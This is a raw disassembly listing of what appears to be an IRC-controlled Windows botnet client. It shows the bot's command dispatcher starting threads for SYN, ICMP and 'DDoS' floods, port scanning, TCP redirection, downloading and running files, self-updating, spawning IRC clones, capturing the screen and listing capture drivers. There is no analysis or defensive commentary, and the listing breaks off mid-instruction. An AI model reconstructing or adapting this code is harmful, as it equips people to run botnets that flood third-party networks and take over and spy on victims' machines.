sub_4161EB add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset sub_4139E0 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40FB30 loc_40FB1A: ; CODE XREF: sub_40C50A+3624j cmp [ebp+var_464], ebx jnz loc_411B78 push 32h call ds:dword_4942D8 jmp short loc_40FB1A ; --------------------------------------------------------------------------- loc_40FB30: ; CODE XREF: sub_40C50A+360Ej call ds:dword_4942F0 push eax push offset aScanFailedTo_3 ; "[SCAN]: Failed to start scan thread, er"... jmp loc_411B69 ; --------------------------------------------------------------------------- loc_40FB41: ; CODE XREF: sub_40C50A+26FCj ; sub_40C50A+2713j push edi call sub_4195F0 push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_4191A0 push [ebp+arg_0] call sub_4195F0 push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_318], eax lea eax, [ebp+var_398] push 80h push eax mov [ebp+var_420], esi call sub_418EF0 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AFEC pop ecx push eax lea eax, [ebp+var_2DC] push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_4161EB add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_412814 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40FC2A loc_40FC14: ; CODE XREF: sub_40C50A+371Ej cmp [ebp+var_300], ebx jnz loc_411B78 push 32h call ds:dword_4942D8 jmp short loc_40FC14 ; --------------------------------------------------------------------------- loc_40FC2A: ; CODE XREF: sub_40C50A+3708j call ds:dword_4942F0 push eax push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"... jmp loc_411B69 ; --------------------------------------------------------------------------- loc_40FC3B: ; CODE XREF: sub_40C50A+26CEj ; sub_40C50A+26E5j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_4191A0 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_4191A0 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_4195F0 mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_40FC97 push 10h push ebx push eax call sub_41ABB0 add esp, 0Ch mov [ebp+var_570], eax jmp short loc_40FC9D ; --------------------------------------------------------------------------- loc_40FC97: ; CODE XREF: sub_40C50A+3777j mov [ebp+var_570], ebx loc_40FC9D: ; CODE XREF: sub_40C50A+378Bj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40FCB4 push esi call sub_4195F0 pop ecx mov [ebp+var_574], eax jmp short loc_40FCBA ; --------------------------------------------------------------------------- loc_40FCB4: ; CODE XREF: sub_40C50A+3799j mov [ebp+var_574], ebx loc_40FCBA: ; CODE XREF: sub_40C50A+37A8j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_4191A0 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."... push eax call sub_418D70 push esi lea eax, [ebp+var_2DC] push 15h push eax call sub_4161EB add esp, 28h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_405084 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40FD68 loc_40FD52: ; CODE XREF: sub_40C50A+385Cj cmp [ebp+var_560], ebx jnz loc_40F3D3 push 32h call ds:dword_4942D8 jmp short loc_40FD52 ; --------------------------------------------------------------------------- loc_40FD68: ; CODE XREF: sub_40C50A+3846j call ds:dword_4942F0 push eax push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"... jmp loc_40FF6B ; --------------------------------------------------------------------------- loc_40FD79: ; CODE XREF: sub_40C50A+26A0j ; sub_40C50A+26B7j push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_4191A0 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_4191A0 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_4191A0 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_4191A0 mov eax, [ebp+var_8] push [ebp+arg_0] mov esi, [ebp+var_4] mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"... push eax mov [ebp+var_568], esi call sub_418D70 add esp, 44h lea eax, [ebp+var_2DC] push ebx push 0Bh push eax call sub_4161EB add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_414ECB push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40FE4C loc_40FE3A: ; CODE XREF: sub_40C50A+3940j cmp [ebp+var_560], ebx jnz short loc_40FE67 push 32h call ds:dword_4942D8 jmp short loc_40FE3A ; --------------------------------------------------------------------------- loc_40FE4C: ; CODE XREF: sub_40C50A+392Ej call ds:dword_4942F0 push eax lea eax, [ebp+var_2DC] push offset aSynFailedToSta ; "[SYN]: Failed to start flood thread, er"... push eax call sub_418D70 add esp, 0Ch loc_40FE67: ; CODE XREF: sub_40C50A+3936j cmp [ebp+var_8], ebx jnz loc_40EFB5 push ebx push esi jmp loc_40EF9D ; --------------------------------------------------------------------------- loc_40FE77: ; CODE XREF: sub_40C50A+265Bj ; sub_40C50A+2672j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_4191A0 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_4191A0 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_4191A0 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_4191A0 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_4191A0 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for %s second"... push eax mov [ebp+var_7F0], esi call sub_418D70 add esp, 50h lea eax, [ebp+var_2DC] push ebx push 0Ah push eax call sub_4161EB add esp, 0Ch mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_404C3D push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40FF5F loc_40FF49: ; CODE XREF: sub_40C50A+3A53j cmp [ebp+var_560], ebx jnz loc_40F3D3 push 32h call ds:dword_4942D8 jmp short loc_40FF49 ; --------------------------------------------------------------------------- loc_40FF5F: ; CODE XREF: sub_40C50A+3A3Dj call ds:dword_4942F0 push eax push offset aDdosFailedToSt ; "[DDoS]: Failed to start flood thread, e"... loc_40FF6B: ; CODE XREF: sub_40C50A+2EABj ; sub_40C50A+2FF6j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 jmp loc_40F3D0 ; --------------------------------------------------------------------------- loc_40FF7C: ; CODE XREF: sub_40C50A+262Dj ; sub_40C50A+2644j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_4191A0 push [ebp+arg_18] call sub_4195F0 push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_4191A0 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_40FFCA push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_4191A0 add esp, 0Ch loc_40FFCA: ; CODE XREF: sub_40C50A+3AACj lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 17h push eax call sub_4161EB add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40C22A push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_410056 loc_410040: ; CODE XREF: sub_40C50A+3B4Aj cmp [ebp+var_2FC], ebx jnz loc_41110A push 32h call ds:dword_4942D8 jmp short loc_410040 ; --------------------------------------------------------------------------- loc_410056: ; CODE XREF: sub_40C50A+3B34j call ds:dword_4942F0 push eax push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"... jmp loc_40EF0C ; --------------------------------------------------------------------------- loc_410067: ; CODE XREF: sub_40C50A+25EDj ; sub_40C50A+2604j push [ebp+arg_18] call sub_4195F0 cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_410158 mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_418EF0 xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_418EF0 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax push edi push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds." lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_4161EB add esp, 38h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_407E55 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_410147 loc_410131: ; CODE XREF: sub_40C50A+3C3Bj cmp [ebp+var_560], ebx jnz loc_40EF94 push 32h call ds:dword_4942D8 jmp short loc_410131 ; --------------------------------------------------------------------------- loc_410147: ; CODE XREF: sub_40C50A+3C25j call ds:dword_4942F0 push eax push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"... jmp loc_40EF85 ; --------------------------------------------------------------------------- loc_410158: ; CODE XREF: sub_40C50A+3B6Ej push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"... jmp loc_411C97 ; --------------------------------------------------------------------------- loc_410162: ; CODE XREF: sub_40C50A+25BFj ; sub_40C50A+25D6j push [ebp+arg_18] push edi call ds:dword_4943D8 test eax, eax jz short loc_410192 push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'." push 200h push eax call sub_418EF0 loc_41018A: ; CODE XREF: sub_40C50A+44C3j add esp, 14h jmp loc_40EF94 ; --------------------------------------------------------------------------- loc_410192: ; CODE XREF: sub_40C50A+3C64j push offset aFile_1 ; "[FILE]:" call sub_409AA0 push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 add esp, 10h jmp loc_40EF94 ; --------------------------------------------------------------------------- loc_4101B6: ; CODE XREF: sub_40C50A+2591j ; sub_40C50A+25A8j push edi lea eax, [ebp+var_774] push 104h push eax call sub_418EF0 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4101F0 push [ebp+arg_18] push [ebp+var_C] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz short loc_4101F0 push eax lea eax, [ebp+var_670] push eax call sub_418D70 pop ecx pop ecx loc_4101F0: ; CODE XREF: sub_40C50A+3CC4j ; sub_40C50A+3CD5j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_418EF0 mov eax, [ebp+arg_4] mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset aFindfileSear_0 ; "[FINDFILE]: Searching for file: %s in: "... lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_4161EB add esp, 2Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_405A20 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_4102A3 loc_41028D: ; CODE XREF: sub_40C50A+3D97j cmp [ebp+var_560], ebx jnz loc_40EFB5 push 32h call ds:dword_4942D8 jmp short loc_41028D ; --------------------------------------------------------------------------- loc_4102A3: ; CODE XREF: sub_40C50A+3D81j call ds:dword_4942F0 push eax push offset aFindfileFailed ; "[FINDFILE]: Failed to start search thre"... jmp loc_4124D0 ; --------------------------------------------------------------------------- loc_4102B4: ; CODE XREF: sub_40C50A+2563j ; sub_40C50A+257Aj push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_4189A0 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_4195F0 add esp, 10h cmp eax, esi jnz short loc_4102F1 mov word ptr [ebp+var_470], 5 loc_4102F1: ; CODE XREF: sub_40C50A+3DDCj cmp [ebp+var_C], ebx jz loc_41110A push [ebp+arg_18] push [ebp+var_C] call sub_419AB0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_41110A lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_494330 test eax, eax jnz short loc_41033C push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file." jmp loc_4110FC ; --------------------------------------------------------------------------- loc_41033C: ; CODE XREF: sub_40C50A+3E26j push edi push offset aExecCommandsS ; "[EXEC]: Commands: %s" jmp loc_40EF0C ; --------------------------------------------------------------------------- loc_410347: ; CODE XREF: sub_40C50A+2535j ; sub_40C50A+254Cj push [ebp+arg_18] push offset aFenr ; "FEnR" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4104BB lea eax, [ebp+var_3FC] push eax push 104h call ds:dword_4943AC push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_4191A0 lea eax, [ebp+var_2F8] push eax call sub_413590 push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_418D70 mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_4103D9 push 10h push ebx push eax call sub_41ABB0 add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4103DF ; --------------------------------------------------------------------------- loc_4103D9: ; CODE XREF: sub_40C50A+3EB9j mov [ebp+var_570], ebx loc_4103DF: ; CODE XREF: sub_40C50A+3ECDj mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_4103F9 push esi call sub_4195F0 pop ecx mov [ebp+var_574], eax jmp short loc_4103FF ; --------------------------------------------------------------------------- loc_4103F9: ; CODE XREF: sub_40C50A+3EDEj mov [ebp+var_574], ebx loc_4103FF: ; CODE XREF: sub_40C50A+3EEDj movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_4191A0 mov eax, [ebp+var_4] push edi mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s." push eax call sub_418D70 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_4161EB add esp, 24h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_405084 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_4104AA loc_410494: ; CODE XREF: sub_40C50A+3F9Ej cmp [ebp+var_560], ebx jnz loc_41110A push 32h call ds:dword_4942D8 jmp short loc_410494 ; --------------------------------------------------------------------------- loc_4104AA: ; CODE XREF: sub_40C50A+3F88j call ds:dword_4942F0 push eax push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"... jmp loc_40EF0C ; --------------------------------------------------------------------------- loc_4104BB: ; CODE XREF: sub_40C50A+3E4Ej push offset aUpdateBotIdMus ; "[UPDATE]: Bot ID must be different than"... jmp loc_4110FC ; --------------------------------------------------------------------------- loc_4104C5: ; CODE XREF: sub_40C50A+2507j ; sub_40C50A+251Ej push [ebp+var_90] push offset a332_0 ; "332" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40C97C cmp [ebp+var_C], ebx jz loc_40C97C push [ebp+arg_18] push [ebp+var_C] call sub_419AB0 push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset aSSSS ; "%s %s %s :%s" push eax call sub_418D70 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_4191A0 push edi call sub_4195F0 add esp, 30h test eax, eax jle short loc_41054C push edi call sub_4195F0 imul eax, 3E8h pop ecx push eax call ds:dword_4942D8 loc_41054C: ; CODE XREF: sub_40C50A+402Cj push offset aMainDelay_ ; "[MAIN]: Delay." call sub_4035E1 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40C97F ; --------------------------------------------------------------------------- loc_410560: ; CODE XREF: sub_40C50A+24D9j ; sub_40C50A+24F0j push [ebp+var_90] push offset a332_1 ; "332" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40C97C cmp [ebp+var_C], ebx jz loc_41263B push [ebp+arg_18] push [ebp+var_C] call sub_419AB0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat_0 ; "repeat" push eax call sub_419360 add esp, 10h test eax, eax push esi jz short loc_41061C push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset aSSSS_0 ; "%s %s %s :%s" push eax call sub_418D70 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_4191A0 push esi lea eax, [ebp+var_2DC] push offset aMainRepeatS ; "[MAIN]: Repeat: %s" push eax call sub_418D70 lea eax, [ebp+var_2DC] push eax call sub_4035E1 push edi call sub_4195F0 add esp, 38h test eax, eax jle loc_41263B push edi call sub_4195F0 add eax, [ebp+arg_24] pop ecx jmp loc_40C97F ; --------------------------------------------------------------------------- loc_41061C: ; CODE XREF: sub_40C50A+409Bj push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"... jmp loc_40EF0C ; --------------------------------------------------------------------------- loc_410626: ; CODE XREF: sub_40C50A+24ABj ; sub_40C50A+24C2j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset aPartS ; "PART %s" push eax call sub_418D70 push edi call sub_4195F0 add esp, 10h test eax, eax jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B lea eax, [ebp+var_2DC] push eax push offset aS_24 ; "%s\r\n" loc_410669: ; CODE XREF: sub_40C50A+41C9j ; sub_40C50A+4CE0j push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call sub_4083E7 loc_410681: ; CODE XREF: sub_40C50A+5D62j add esp, 0Ch jmp loc_41263B ; --------------------------------------------------------------------------- loc_410689: ; CODE XREF: sub_40C50A+247Dj ; sub_40C50A+2494j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset aJoinSS_1 ; "JOIN %s %s" push eax call sub_418D70 push edi call sub_4195F0 add esp, 14h test eax, eax jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B lea eax, [ebp+var_2DC] push eax push offset aS_25 ; "%s\r\n" jmp short loc_410669 ; --------------------------------------------------------------------------- loc_4106D5: ; CODE XREF: sub_40C50A+244Fj ; sub_40C50A+2466j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset aNickS_0 ; "NICK %s" push eax call sub_418D70 push edi call sub_4195F0 add esp, 10h test eax, eax jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B lea eax, [ebp+var_2DC] push eax push offset aS_26 ; "%s\r\n" push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call sub_4083E7 push [ebp+arg_18] push edi push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s" loc_410739: ; CODE XREF: sub_40C50A+42B9j ; sub_40C50A+4324j ... call sub_403655 loc_41073E: ; CODE XREF: sub_40C50A+5A2Fj add esp, 18h jmp loc_41263B ; --------------------------------------------------------------------------- loc_410746: ; CODE XREF: sub_40C50A+2421j ; sub_40C50A+2438j cmp [ebp+var_C], ebx jz loc_41263B push [ebp+arg_18] push [ebp+var_C] call sub_419AB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410777 push esi lea eax, [ebp+var_2DC] push offset aModeS ; "MODE %s" push eax call sub_418D70 add esp, 0Ch loc_410777: ; CODE XREF: sub_40C50A+4256j push edi call sub_4195F0 test eax, eax pop ecx jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B lea eax, [ebp+var_2DC] push eax push offset aS_27 ; "%s\r\n" push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call sub_4083E7 push esi push edi push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s" jmp loc_410739 ; --------------------------------------------------------------------------- loc_4107C8: ; CODE XREF: sub_40C50A+23F3j ; sub_40C50A+240Aj cmp [ebp+var_C], ebx jz loc_41263B push [ebp+arg_18] push [ebp+var_C] call sub_419AB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41263B push edi call sub_4195F0 test eax, eax pop ecx jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B push esi push offset aS_28 ; "%s\r\n" push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call sub_4083E7 push esi push edi push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s" jmp loc_410739 ; --------------------------------------------------------------------------- loc_410833: ; CODE XREF: sub_40C50A+23C5j ; sub_40C50A+23DCj cmp [ebp+var_C], ebx jz loc_41263B push edi push [ebp+var_C] call sub_419AB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41263B push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_4083E7 push esi push offset aMainModeChange ; "[MAIN]: Mode change: %s" loc_410865: ; CODE XREF: sub_40C50A+4E83j ; sub_40C50A+4E9Cj ... call sub_403655 loc_41086A: ; CODE XREF: sub_40C50A+43C9j add esp, 14h jmp loc_41263B ; --------------------------------------------------------------------------- loc_410872: ; CODE XREF: sub_40C50A+2397j ; sub_40C50A+23AEj push [ebp+var_90] push offset a332_2 ; "332" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40C97C push [ebp+arg_18] push offset aPartS_0 ; "PART %s\r\n" push [ebp+arg_4] call sub_4083E7 push edi call sub_4195F0 imul eax, 3E8h add esp, 10h push eax call ds:dword_4942D8 push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS_2 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4083E7 push offset aMainCycle_ ; "[MAIN]: Cycle." call sub_4035E1 jmp short loc_41086A ; --------------------------------------------------------------------------- loc_4108D5: ; CODE XREF: sub_40C50A+2369j ; sub_40C50A+2380j cmp [ebp+var_C], ebx jz loc_41263B push edi call sub_418E70 push [ebp+arg_8] mov esi, eax call sub_418E70 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_419AB0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41263B push esi lea eax, [ebp+var_2DC] push offset dword_440C00 push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40842D push esi push edi push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s." call sub_403655 add esp, 2Ch jmp loc_41263B ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40C50A+233Bj ; sub_40C50A+2352j cmp [ebp+var_C], ebx jz loc_41263B push edi call sub_418E70 push [ebp+arg_8] mov esi, eax call sub_418E70 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_419AB0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41263B push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40842D push esi push edi push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s." call sub_403655 jmp loc_40F550 ; --------------------------------------------------------------------------- loc_410996: ; CODE XREF: sub_40C50A+230Dj ; sub_40C50A+2324j cmp [ebp+var_C], ebx jz loc_40C97C push [ebp+arg_18] push [ebp+var_C] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz loc_40C97C push eax push edi call sub_4034E9 push edi lea eax, [ebp+var_2DC] push offset aMainAliasAdded ; "[MAIN]: Alias added: %s." push eax call sub_418D70 jmp loc_41018A ; --------------------------------------------------------------------------- loc_4109D2: ; CODE XREF: sub_40C50A+22CDj ; sub_40C50A+22E4j push edi push [ebp+arg_1C] call sub_419AB0 pop ecx test eax, eax pop ecx jz loc_41263B mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_410A6F push esi push [ebp+var_C] call sub_419AB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410A57 push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset aSSSS_1 ; "%s %s %s :%s" push eax call sub_418D70 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_4191A0 push esi push edi lea eax, [ebp+var_2DC] push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s" push eax call sub_418D70 add esp, 34h inc [ebp+arg_24] jmp loc_41214F ; --------------------------------------------------------------------------- loc_410A57: ; CODE XREF: sub_40C50A+44F5j lea eax, [ebp+var_2DC] push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"... push eax call sub_418D70 pop ecx pop ecx jmp loc_41214F ; --------------------------------------------------------------------------- loc_410A6F: ; CODE XREF: sub_40C50A+44E4j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_4156E4 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D push edi push offset aMainGethostS_ ; "[MAIN]: Gethost: %s." lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 add esp, 24h jmp loc_41214F ; --------------------------------------------------------------------------- loc_410AB6: ; CODE XREF: sub_40C50A+229Fj ; sub_40C50A+22B6j push offset aScreen ; "screen" push edi call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_410B19 cmp [ebp+esi+var_8C], ebx jz short loc_410B06 push [ebp+esi+var_8C] call sub_403948 cmp eax, 1 pop ecx jnz short loc_410AFF push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset aCaptureScreenC ; "[CAPTURE]: Screen capture saved to: %s."... push eax call sub_418D70 add esp, 0Ch jmp short loc_410B19 ; --------------------------------------------------------------------------- loc_410AFF: ; CODE XREF: sub_40C50A+45D6j push offset aCaptureErrorWh ; "[CAPTURE]: Error while capturing screen"... jmp short loc_410B0B ; --------------------------------------------------------------------------- loc_410B06: ; CODE XREF: sub_40C50A+45C4j push offset aCaptureNoFilen ; "[CAPTURE]: No filename specified for sc"... loc_410B0B: ; CODE XREF: sub_40C50A+45FAj lea eax, [ebp+var_2DC] push eax call sub_418D70 pop ecx pop ecx loc_410B19: ; CODE XREF: sub_40C50A+45BBj ; sub_40C50A+45F3j push offset aDrivers ; "drivers" push edi call sub_419360 pop ecx test eax, eax pop ecx jnz loc_410BB0 mov [ebp+arg_0], ebx loc_410B31: ; CODE XREF: sub_40C50A+4691j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_44B6F0 test eax, eax jz short loc_410B94 lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset aCaptureDriverD ; "[CAPTURE]: Driver #%d - %s - %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 28h loc_410B94: ; CODE XREF: sub_40C50A+464Aj inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_410B31 lea eax, [ebp+var_2DC] push offset aCaptureDriverL ; "[CAPTURE]: Driver list complete." push eax call 